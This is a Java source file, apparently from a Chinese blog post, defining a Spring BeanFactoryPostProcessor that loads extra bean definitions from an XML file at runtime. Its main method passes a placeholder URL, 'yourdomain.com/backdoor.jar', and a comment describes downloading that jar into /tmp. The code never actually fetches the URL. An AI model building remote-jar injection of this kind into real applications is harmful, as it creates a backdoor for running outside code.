标签:
/** * Project Name:Micro-Services-Config-SpringFramework * File Name :DymanicInjectionProcesser.java * Package Name:com.micro.services.config.springframework * Date:2015-9-16上午9:54:21 * Copyright (c) 2015, http://my.oschina.net/httpssl All Rights Reserved. * */ package com.micro.services.config.springframework; import org.springframework.beans.BeansException; import org.springframework.beans.factory.FactoryBean; import org.springframework.beans.factory.config.BeanFactoryPostProcessor; import org.springframework.beans.factory.config.ConfigurableListableBeanFactory; import org.springframework.beans.factory.support.BeanDefinitionRegistry; import org.springframework.beans.factory.xml.XmlBeanDefinitionReader; import org.springframework.core.io.DefaultResourceLoader; import org.springframework.core.io.Resource; import org.springframework.core.io.ResourceLoader; /** * ClassName:DymanicInjectionProcesser <br/> * Function :TODO ADD FUNCTION. <br/> * Reason :TODO ADD REASON. <br/> * Date :2015-9-16 上午9:54:21 <br/> * * @author :http://my.oschina.net/httpssl * @email :491835898@qq.com * @since :JDK 1.7 * @see */ public class DymanicInjectionProcesser implements BeanFactoryPostProcessor,FactoryBean<DymanicInjectionProcesser> { private ConfigurableListableBeanFactory beanFactory; /* * 简单说明的处理.. */ private static DymanicInjectionProcesser instance = new DymanicInjectionProcesser(); @Override public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException { this.beanFactory = beanFactory; } @Override public Class<DymanicInjectionProcesser> getObjectType() { return DymanicInjectionProcesser.class; } @Override public boolean isSingleton() { return true; } @Override public DymanicInjectionProcesser getObject() throws Exception { return this; } public boolean injectionBeans(String url)throws Exception{ //httpclient download url > /tmp/lib/sys-ext-1.jar //jar 中包含sys-ext-1.xml try { String sys_ext_1 = "sys-ext-1.xml"; DefaultResourceLoader defaultResourceLoader = new DefaultResourceLoader(); Resource resource = defaultResourceLoader.getResource(ResourceLoader.CLASSPATH_URL_PREFIX+sys_ext_1); XmlBeanDefinitionReader definitionReader = new XmlBeanDefinitionReader((BeanDefinitionRegistry) this.beanFactory); definitionReader.loadBeanDefinitions(resource); return true; } catch (Exception e) { throw e; } } public static void main(String[] args) { try { System.out.println(DymanicInjectionProcesser.instance.injectionBeans("http://yourdomain.com/backdoor.jar")); } catch (Exception e) { System.err.println("织入失败"); e.printStackTrace(); } } }
标签:
原文地址:http://my.oschina.net/httpssl/blog/506652